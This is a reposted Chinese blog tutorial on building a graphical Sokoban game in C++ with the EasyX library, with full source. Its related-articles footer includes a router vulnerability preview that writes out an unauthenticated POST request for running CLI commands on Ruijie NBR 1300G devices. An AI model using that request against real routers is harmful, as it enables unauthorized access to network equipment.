C++学习day--24 推箱子游戏图像化开发

news2025/1/22 15:40:26

环境要求:

1、VS2015以上

2、成功安装并配置图形库

项目注意事项:代码复制好以后,把下面的字符集改为多字节字符集

1 节 项目需求

实现一款推箱子游戏,效果如下图所示 , 具体规则:
1. 箱子只能推动而不能拉动;
2. 如果箱子前一格是地板或箱子目的地,则可以推动一个箱子往前走一格,如果箱子已经在
箱子目的地则不能再推动;
3. 推箱子的小人不能从箱子目的地上直接穿过;
4. 注意不要把箱子推到死角上,不然就无法再推动它了;
5. 所有箱子都成功推到箱子目的地,游戏结束,过关成功!

2 项目实现

2.1 模块划分

作用: 1. 化繁为简 2. 适合团队协作 3. 高质量代码)

2.1.1 地图初始化

搭台唱戏
戏台坐标系 (650 x 650)

地图表示:

 

使用二维数组
1、游戏道具显示(墙、箱子、箱子目的地、小人、地板)
2、便于程序在游戏过程中进行逻辑判断和控制小人向前一步的动作控制
3、 判断游戏结果
道具表示:
: 0 ,地板 : 1 ,箱子目的地 : 2, 小人 : 3, 箱子 : 4, 箱子命中目标 : 5
编码实现:
#include <graphics.h>
#include <iostream>
#include <stdlib.h>
#include <string>
using namespace std;
#define RATIO 61
#define SCREEN_WIDTH 960
#define SCREEN_HEIGHT 768
#define LINE 9
#define COLUMN 12
#define START_X 100
#define START_Y 150
IMAGE images[6];
/*游戏地图*/
int map[LINE][COLUMN] = {
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0 },

{ 0, 1, 4, 1, 0, 2, 1, 0, 2, 1, 0, 0 },
{ 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0 },
{ 0, 1, 0, 2, 0, 1, 1, 4, 1, 1, 1, 0 },
{ 0, 1, 1, 1, 0, 3, 1, 1, 1, 4, 1, 0 },
{ 0, 1, 2, 1, 1, 4, 1, 1, 1, 1, 1, 0 },
{ 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
};
int main(void) {
	IMAGE bg_img;
	//搭台唱戏
	initgraph(SCREEN_WIDTH, SCREEN_HEIGHT);
	loadimage(&bg_img, _T("blackground.bmp"), SCREEN_WIDTH,
		SCREEN_HEIGHT, true);
	putimage(0, 0, &bg_img);
	//加载道具图标
	loadimage(&images[0], _T("wall.bmp"), RATIO, RATIO, true);
	loadimage(&images[1], _T("floor.bmp"), RATIO, RATIO, true);
	loadimage(&images[2], _T("des.bmp"), RATIO, RATIO, true);
	loadimage(&images[3], _T("man.bmp"), RATIO, RATIO, true);
	loadimage(&images[4], _T("box.bmp"), RATIO, RATIO, true);
	loadimage(&images[5], _T("box.bmp"), RATIO, RATIO, true);
	for (int i = 0; i < LINE; i++) {
		for (int j = 0; j < COLUMN; j++) {
			putimage(START_X + j * RATIO, START_Y + i * RATIO,
				&images[map[i][j]]);
		}
	}
	system("pause");
	return 0;
}

2.1.2 热键控制

热键定义:

=> a
=> s
=> w
=> d
退出 => q
#include <conio.h>
//控制键 上、下、左、右 控制方向,'q' 退出
#define KEY_UP 'w' //char 'a'
#define KEY_LEFT 'a'
#define KEY_RIGHT 'd'
#define KEY_DOWN 's'
#define KEY_QUIT 'q'
//游戏环节
bool quit = false;
do {
	if (_kbhit()) { //玩家按键
		char ch = _getch();
		if (ch == KEY_UP) {
			gameControl(UP);
		}
		else if (ch == KEY_DOWN) {
			gameControl(DOWN);
		}
		else if (ch == KEY_LEFT) {
			gameControl(LEFT);
		}
		else if (ch == KEY_RIGHT) {
			gameControl(RIGHT);
		}
		else if (ch == KEY_QUIT) {
			quit = true;
		}
	}
	Sleep(100);
} while (quit == false); //!quit

2.1.3 推箱子控制

/**********************************************
*实现游戏四个方向(上、下、左、右)的控制
* 输入:
* direct - 人前进方向
* 输出: 无
**********************************************/
void gameControl(enum _DIRECTION direct) {
	struct _POS next_pos = man;
	struct _POS next_next_pos = man;
	switch (direct) {
	case UP:
		next_pos.x--;
		next_next_pos.x -= 2;
		break;
	case DOWN:
		next_pos.x++;
		next_next_pos.x += 2;
		break;
	case LEFT:
		next_pos.y--;
		next_next_pos.y -= 2;
		break;
	case RIGHT:
		next_pos.y++;
		next_next_pos.y += 2;
		break;
	}
	//宏展开 next_pos.x>=0 && next_pos.x<LINE && next_pos.y>=0 &&
	next_pos.y < COLUMN
		if (isValid(next_pos) && map[next_pos.x][next_pos.y] == FLOOR) {//人的前方是地板
			changeMap(&next_pos, MAN); //小人前进一格
			changeMap(&man, FLOOR);
			man = next_pos;
		}
		else if (isValid(next_next_pos) && map[next_pos.x][next_pos.y] ==
			BOX) {//人的前方是箱子
			//两种情况,箱子前面是地板或者是箱子目的地
			if (map[next_next_pos.x][next_next_pos.y] == FLOOR) {
				changeMap(&next_next_pos, BOX);
				changeMap(&next_pos, MAN); //小人前进一格
				changeMap(&man, FLOOR);
				man = next_pos;
			  }
			else if (map[next_next_pos.x][next_next_pos.y] == BOX_DES) {
				changeMap(&next_next_pos, HIT);
				changeMap(&next_pos, MAN); //小人前进一格
				changeMap(&man, FLOOR);
				man = next_pos;
			  }
		}
}

2.1.4 游戏结束

/**********************************************
*判断游戏是否结束,如果不存在任何一个箱子目的地,就代表游戏结束
*输入: 无
*返回值:
* true - 游戏结束 false - 游戏继续
**********************************************/
bool isGameOver() {
	for (int i = 0; i < LINE; i++) {
		for (int j = 0; j < COLUMN; j++) {
			if (map[i][j] == BOX_DES) return false;
		}
	}
	return true;
}
/**********************************************
*游戏结束场景,在玩家通关后显示
*输入:
* bg - 背景图片变量的指针
*返回值: 无
**********************************************/
void gameOverScene(IMAGE* bg) {
	putimage(0, 0, bg);
	settextcolor(WHITE);
	RECT rec = { 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT };
	settextstyle(20, 0, _T("宋体"));
	drawtext(_T("恭喜您~ \n 您终于成为了一个合格的搬箱子老司机!"),&rec, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
}
//main 函数中
if (isGameOver()) {
	gameOverScene(&bg_img);
	quit = true;
}

 3、完整代码实现:

box_main.cpp:

#pragma once

#include"box_man.h"

int main() {
	initgraph(WEIGHT, HEIGHT);
	IMAGE bg_img;
	//参数分别表示图片变量的地址,图片的路径,图片的高度,宽度,是否要拉伸
	//用_T()是为了进行编码转换,也可以更改项目属性——高级——多字符集
	loadimage(&bg_img, _T("blackground.bmp"), WEIGHT, HEIGHT, true);//加载图片到内存
	putimage(0, 0, &bg_img);//把图片显示到窗口,参数分别表示坐标x,坐标y(从左上角开始计算),图片变量地址


	//加载道具
	loadimage(&images[WALL], _T("wall_right.bmp"), RATIO, RATIO, true);//墙
	loadimage(&images[FLOOR], _T("floor.bmp"), RATIO, RATIO, true);//地板
	loadimage(&images[BOX_DES], _T("des.bmp"), RATIO, RATIO, true);//目的地
	loadimage(&images[MAN], _T("man.jpg"), RATIO, RATIO, true);//小人
	loadimage(&images[BOX], _T("box.jpg"), RATIO, RATIO, true);//箱子
	loadimage(&images[HIT], _T("des.jpg"), RATIO, RATIO, true);//目标命中,地图刚开始时没有数字5的,因此这个到后面判断游戏才发挥作用
	//加载到地图上
	for (int i = 0; i < LINE; i++) {
		for (int j = 0; j < COLUMN; j++) {
			if (map1[i][j] == MAN) {//找到小人的位置
				man.x = i;
				man.y = j;
			}
			putimage(WEIGHT_BIAS + j * RATIO, HEIGHT_BIAS + i * RATIO, &images[map1[i][j]]);//核心代码段!!这个代码非常漂亮,利用行列坐标直接求出图片的位置
		}
	}

	//进入游戏环节
	bool quit = false;
	do
	{
		if (_kbhit()) //玩家有敲击键盘的操作
		{
			char ch = _getch(); //获取敲击的热键
			switch (ch)
			{
				case 'w':
					gameControl(UP);
					break;
				case 'a':
					gameControl(LEFT);
					break;
				case 's':
					gameControl(DOWN);
					break;
				case 'd':
					gameControl(RIGHT);
					break;
				case 'q':
					quit = true;
					break;
				default:
					break;
			}
			Sleep(100); //因为一直在循环,一直在消耗CPU,休眠可以节约CPU资源
			if (isGameOver()) { //游戏结束
				GameOverField(&bg_img);
				quit = true;
			}
		} 
	} while (quit == false);

	//游戏结束
	system("pause");
	closegraph();
	
	return 0;
}

function.cpp:

#include<iostream>
#include<iostream>
#include<Windows.h>
#include<graphics.h>
#include<stdlib.h>
#include<string>
#include<conio.h> //获取键盘的热键
#include<mmsystem.h>//音乐头文件
#pragma comment(lib,"winmm.lib")//支持音乐播放的库文件
using namespace std;


#define WEIGHT 1190 //游戏窗口的宽度
#define HEIGHT 800  //游戏窗口的高度


#define LINE 9 //地图的行数
#define COLUMN 12 //地图的列数

#define KEY_UP      'w' //上键
#define KEY_LEFT    'a' //左键
#define KEY_DOWN    's' //下键
#define KEY_RIGHT   'd' //右键
#define KEY_QUIT    'q' //退出



#define WEIGHT_BIAS 300 //地图离整个画布的横向偏移
#define HEIGHT_BIAS 150 //地图离整个画布的纵向偏移
#define RATIO 61 //小人物、强、箱子等元素的长和宽


//把判断条件用宏来替换
#define isValid(pos) pos.x >= 0 && pos.x < LINE && pos.y >= 0 && pos.y < COLUMN && map1[pos.x][pos.y]

//小人所在二维数组的位置,行数和列数
struct _POS {//很多开源项目结构体名用下划线开头
	int x;
	int y;
};
struct _POS man;


typedef enum _DIRECTION {
	UP,
	DOWN,
	LEFT,
	RIGHT
}DIRECTION;

//用枚举定义道具
enum _PROPS {
	WALL,     //墙
	FLOOR,    //地板
	BOX_DES,  //目的地
	MAN,      //小人
	BOX,      //箱子
	HIT,      //命中目标
	ALL  //为什么最后还要定义一个ALL,为了定义下面images数组的长度,这是顶尖项目的经验
};

IMAGE images[ALL]; //存放各类道具图片变量

//地图1,假设后面还要做几个关卡,那么map1表示第一关
int map1[LINE][COLUMN] = {
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
{ 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0 },
{ 0, 1, 4, 1, 0, 2, 1, 0, 2, 1, 0, 0 },
{ 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0 },
{ 0, 1, 0, 2, 0, 1, 1, 4, 1, 1, 1, 0 },
{ 0, 1, 1, 1, 0, 3, 1, 1, 1, 4, 1, 0 },
{ 0, 1, 2, 1, 1, 4, 1, 1, 1, 1, 1, 0 },
{ 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0 },
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
};



/*
小人发生移动时,改变地图中游戏的道具
   line     地图的行下标
   colum    地图的列下标
   pros     道具的类型
*/

void changeMap(struct _POS* pos, enum _PROPS pros) {
	map1[pos->x][pos->y] = pros; //更改地图的状态
	putimage(WEIGHT_BIAS + pos->y * RATIO, HEIGHT_BIAS + pos->x * RATIO, &images[pros]);

}

/*
实现游戏四个方向的移动
这里有很大的优化空间
*/
//版本1
//void gameControl(DIRECTION direct) {
//	if (direct == UP) {//先处理前进方向是地板的情况
//		if (man.x - 1 >= 0 && map1[man.x - 1][man.y] == FLOOR) {//防御式编程,判断坐标的合法性
//			changeMap(man.x-1, man.y, MAN);  //小人的往上走一格
//			changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板
//			man.x = man.x - 1;//调整小人的坐标
//		}
//	}
//	else if (direct == DOWN) {
//		if (man.x + 1 < LINE && map1[man.x + 1][man.y] == FLOOR) {
//			changeMap(man.x + 1, man.y, MAN);  //小人的往下走一格
//			changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板
//			man.x = man.x + 1;//调整小人的坐标
//		}
//	}
//	else if (direct == LEFT) {
//		if (man.y - 1 >= 0 && map1[man.x][man.y - 1] == FLOOR) {
//			changeMap(man.x, man.y-1, MAN);  //小人的往左走一格
//			changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板
//			man.y = man.y - 1;//调整小人的坐标
//		}
//	}
//	else if (direct == RIGHT) {
//		if (man.y + 1 < COLUMN && map1[man.x][man.y + 1] == FLOOR) {
//			changeMap(man.x, man.y + 1, MAN);  //小人的往右走一格
//			changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板
//			man.y = man.y + 1;//调整小人的坐标
//		}
//	}
//}


//版本2,简化代码!!提高代码重用率
void gameControl(DIRECTION direct) {
	struct _POS next_man = man;
	struct _POS next_box = man;
	switch (direct) {
	case UP:
		next_man.x--;
		next_box.x -= 2;
		break;
	case DOWN:
		next_man.x++;
		next_box.x += 2;
		break;
	case LEFT:
		next_man.y--;
		next_box.y -= 2;
		break;
	case RIGHT:
		next_man.y++;
		next_box.y += 2;
		break;
	}
	/*判断条件太长,用宏定义替换来优化*/
	//if (next_man.x >= 0 && next_man.x < LINE &&
	//	next_man.y >= 0 && next_man.y < COLUMN &&
	//	map1[next_man.x][next_man.y] == FLOOR) {//防御式编程,判断坐标的合法性
	//		changeMap(next_man.x, next_man.y, MAN);  //小人的往上走一格
	//		changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板
	//		man = next_man;//调整小人的坐标
	//}

	if (isValid(next_man) && map1[next_man.x][next_man.y] == FLOOR) {//防御式编程,判断坐标的合法性
		//changeMap(next_man.x, next_man.y, MAN);  //小人的往上走一格
		//changeMap(man.x, man.y, FLOOR);//小人原来的位置设置为地板

		//结构体传递用指针传递,提高效率,进一步优化
		changeMap(&next_man, MAN);
		changeMap(&man, FLOOR);
		man = next_man;//调整小人的坐标
	}
	else if (isValid(next_man) && map1[next_man.x][next_man.y] == BOX) {
		//第一种情况:箱子前面是地板
		if (isValid(next_box) && map1[next_box.x][next_box.y] == FLOOR) {
			changeMap(&next_box, BOX);
			changeMap(&next_man, MAN);
			changeMap(&man, FLOOR);
			man = next_man;
		}
		//第二种情况,前面是箱子
		else if (isValid(next_box) && map1[next_box.x][next_box.y] == BOX_DES) {
			changeMap(&next_box, HIT);
			changeMap(&next_man, MAN);
			changeMap(&man, FLOOR);
			man = next_man;
		}
		//第二种情况,箱子前面是目的地
	}
}


/*
判断游戏是否结束,如果地图中没有箱子目的地,说明说有箱子已经全部移动到指定位置
游戏结束,反之没有结束
*/
bool isGameOver() {
	for (int i = 0; i < LINE; i++) {
		for (int j = 0; j < COLUMN; j++) {
			if (map1[i][j] == BOX_DES) {
				return false;
			}
		}
	}
	return true;
}

/*
游戏结束场景
*/
void GameOverField(IMAGE* bg) {
	putimage(0, 0, bg);
	settextcolor(WHITE);
	RECT rec = { 0,0,WEIGHT,HEIGHT };
	settextstyle(100, 0, _T("宋体"));
	loadimage(NULL, _T("游戏结束背景.jpg"));//加载胜利图片
	//音乐播放
	mciSendString(_T("play 游戏结束.mp3"), 0, 0, 0);
	outtextxy(WEIGHT_BIAS, HEIGHT / 2, _T("恭喜你通关啦"));

}

box_man.h:

#pragma once  //头文件文件只包含一次

#ifndef TEST_H
#define TEST_H
#include<graphics.h>
#include<conio.h> //获取键盘的热键


#define WEIGHT 1190 //游戏窗口的宽度
#define HEIGHT 800  //游戏窗口的高度

#define LINE 9 //地图的行数
#define COLUMN 12 //地图的列数

#define RATIO 61 //小人物、强、箱子等元素的长和宽

#define WEIGHT_BIAS 300 //地图离整个画布的横向偏移
#define HEIGHT_BIAS 150 //地图离整个画布的纵向偏移


enum _PROPS {
	WALL,     //墙
	FLOOR,    //地板
	BOX_DES,  //目的地
	MAN,      //小人
	BOX,      //箱子
	HIT,      //命中目标
	ALL  //为什么最后还要定义一个ALL,为了定义下面images数组的长度,这是顶尖项目的经验
};

extern IMAGE images[ALL]; //存放各类道具图片变量

typedef enum _DIRECTION {
	UP,
	DOWN,
	LEFT,
	RIGHT
}DIRECTION;


struct _POS {//很多开源项目结构体名用下划线开头
	int x;
	int y;
};
extern struct _POS man;

extern int map1[LINE][COLUMN];

//函数声明一定要放在最后!!

void changeMap(struct _POS* pos, enum _PROPS pros);
void gameControl(DIRECTION direct);
bool isGameOver();
void GameOverField(IMAGE* bg);


#endif

如果图形库正常安装,项目属性字符集改为多字节字符集就可以运行了。

运行:(我这里用的其他图片元素做的)

胜利后:

 可能大家代码写好但是没有图像资源文件:

大家可以私聊我,一件三连免费送。没有图像资源光有代码运行不起来。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1144776.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

X86 SMAP(Supervisor Mode Access Prevention)机制引入的一个问题分析

在Linux系统中&#xff0c;当涉及到用户态和内核态数据拷贝的时候&#xff0c;如果不考虑建立kernel space和user space的共享映射实现的零拷贝情况&#xff0c;一般是调用copy_from_user/copy_to_user/put_user/get_user几组宏来实现的。在早些时候&#xff0c;对于用户态指针…

STM32F4X SDIO(一) SD卡介绍

STM32F4X SDIO&#xff08;一&#xff09; SD卡介绍 SD卡分类外观分类容量分类传输速度分类 在之前的章节中&#xff0c;讲过有关嵌入式的存储设备&#xff0c;有用I2C驱动的EEPROM、SPI驱动的FLASH和MCU内部的FLASH&#xff0c;这类存储设备的优点是操作简单&#xff0c;但是缺…

同步网盘推荐及挑选指南:便捷、安全、适用的选择

同步网盘是最近热门的文件协同工具之一&#xff0c;因其使用的便捷性受到了诸多用户的青睐。如今网盘市场产品众多&#xff0c;有什么好用的同步网盘&#xff1f;如何挑选同步网盘&#xff1f;是许多需求者关心的问题。 如何挑选同步网盘&#xff1f;在同步网盘挑选过程中要从…

GZ035 5G组网与运维赛题第4套

2023年全国职业院校技能大赛 GZ035 5G组网与运维赛项&#xff08;高职组&#xff09; 赛题第4套 一、竞赛须知 1.竞赛内容分布 竞赛模块1--5G公共网络规划部署与开通&#xff08;35分&#xff09; 子任务1&#xff1a;5G公共网络部署与调试&#xff08;15分&#xff09; 子…

详解Jmeter中的BeanShell脚本

BeanShell是一种完全符合Java语法规范的脚本语言,并且又拥有自己的一些语法和方法&#xff0c;所以它和java是可以无缝衔接的&#xff0c;学了Java的一些基本语法后&#xff0c;就可以来在Jmeter中写写BeanShell脚本了 在利用jmeter进行接口测试或者性能测试的时候&#xff0c…

Vue--》简易资金管理系统后台项目实战(前端)

今天开始使用 vue3 + ts + node 搭建一个简易资金管理系统的前后端分离项目,因为前后端分离所以会分两个专栏分别讲解前端与后端的实现,后端项目文章讲解可参考:后端链接,我会在前后端的两类专栏的最后一篇文章中会将项目代码开源到我的github上,大家可以自行去进行下载运…

C++多态(超级详细版)

目录 一、什么是多态 二、多态的定义及实现 1.多态构成条件 2.虚函数的重写和协变 虚函数重写的两个例外&#xff1a; 2.1协变 2.2析构函数的重写 &#xff08;析构函数名统一处理成destructor&#xff09; 3.重载、覆盖(重写)、隐藏(重定义)的对比 4.final 和 overr…

在本地模拟C/S,Socket套接字的使用

public class SocketTCP01Server {public static void main(String[] args) throws IOException {/**1.在本机的 9999 端口监听 &#xff0c;等待连接细节&#xff1a; 要求在本机没有其他服务在监听999细节&#xff1a;这个ServerSocket 可以通过accept()返回多个Socket[多个客…

指针仪表读数YOLOV8NANO

指针仪表读数YOLOV8 NANO 采用YOLOV8 NANO训练&#xff0c;标记&#xff0c;然后判断角度&#xff0c;得出角度&#xff0c;可以通过角度&#xff0c;换算成数据

End-to-End Adversarial-Attention Network for Multi-Modal Clustering

方法 融合表征h f _f f​ ∑ v \sum_v ∑v​w v _v v​ h v h^v hv 辅助信息 作者未提供代码

2558. 从数量最多的堆取走礼物

2558. 从数量最多的堆取走礼物 难度: 简单 来源: 每日一题 2023.10.28 给你一个整数数组 gifts &#xff0c;表示各堆礼物的数量。每一秒&#xff0c;你需要执行以下操作&#xff1a; 选择礼物数量最多的那一堆。如果不止一堆都符合礼物数量最多&#xff0c;从中选择任一…

Java工具库——Commons IO的50个常用方法

工具库介绍 Commons IO&#xff08;Apache Commons IO&#xff09;是一个广泛用于 Java 开发的开源工具库&#xff0c;由Apache软件基金会维护和支持。这个库旨在简化文件和流操作&#xff0c;提供了各种实用工具类和方法&#xff0c;以便更轻松地进行输入输出操作。以下是 Com…

基于51单片机的温度测量报警系统的设计与制作

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、实习目的二、实习任务2.1 设计温度测量报警系统硬件电路2.2 温度测量报警系统软件编程、仿真与调试&#xff1b;2.3 完成温度测量报警系统的实物制作与调试…

【蓝桥每日一题]-前缀和与差分(保姆级教程 篇2)#差分序列

昨天讲的概念和模板&#xff0c;今天讲一个差分序列的好题(好好体会里面的优化思想)&#xff1a; 目录 题目&#xff1a; 思路&#xff1a; 题目&#xff1a; 手动打出样例哈 输入&#xff1a; 输出&#xff1a; 4 …

Android问题笔记四十二:signal 11 (SIGSEGV), code 1 (SEGV_MAPERR) 的解决方法

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

etcd的mvcc源码剖析

mvcc简介 悲观锁 在对于一些临界资源进行读写的时候&#xff0c;为了防止其他人进行同步的修改数据&#xff0c;直接将当前的数据锁住&#xff0c;不让别人使用&#xff0c;来实现并发安全 乐观锁 在对临界资源进行操作的时候&#xff0c;不锁住数据&#xff0c;实现独占&…

锐捷NBR 1300G路由器 越权CLI命令执行漏洞

执行查看版本的命令不需要其它权限&#xff0c; 访问url&#xff1a; /WEB_VMS/LEVEL15/构造payload数据包&#xff1a; POST /WEB_VMS/LEVEL15/ HTTP/1.1commandshow version&strurlexec%04&mode%02PRIV_EXEC&signnameRed-Giant.回显如下&#xff1a; 测试发现…

软件测试之单元测试

前言 为什么我们需要测试&#xff1f; 让产品可以快速迭代&#xff0c;同时还能保持高质量 对于一些相对稳定的系统级别页面&#xff0c;自动化测试在提高测试的效率的方面起到非常重要的作用。前端的自动化测试主要包括&#xff1a;浏览器测试和单元测试。Vue官方脚手架自带…

Linux系统之watch命令的基本使用

Linux系统之watch命令的基本使用 一、watch命令介绍二、watch命令的使用帮助2.1 watch命令的help帮助2.2 watch命令的语法解释 三、watch命令的基本使用3.1 使用默认的2秒时间间隔执行ls命令3.2 每隔10秒执行一次ps命令3.3 每隔1秒输出一次磁盘使用情况3.4 高亮显示grep命令的输…

File 复制文件

一.代码 package org.example;import java.io.*;public class day05 {public static void main(String[] args) throws IOException {//复制图片//创建字节输入流管道与源文件接通final FileInputStream is new FileInputStream("D:\\temp\\day05\\图2.jpg");//创建…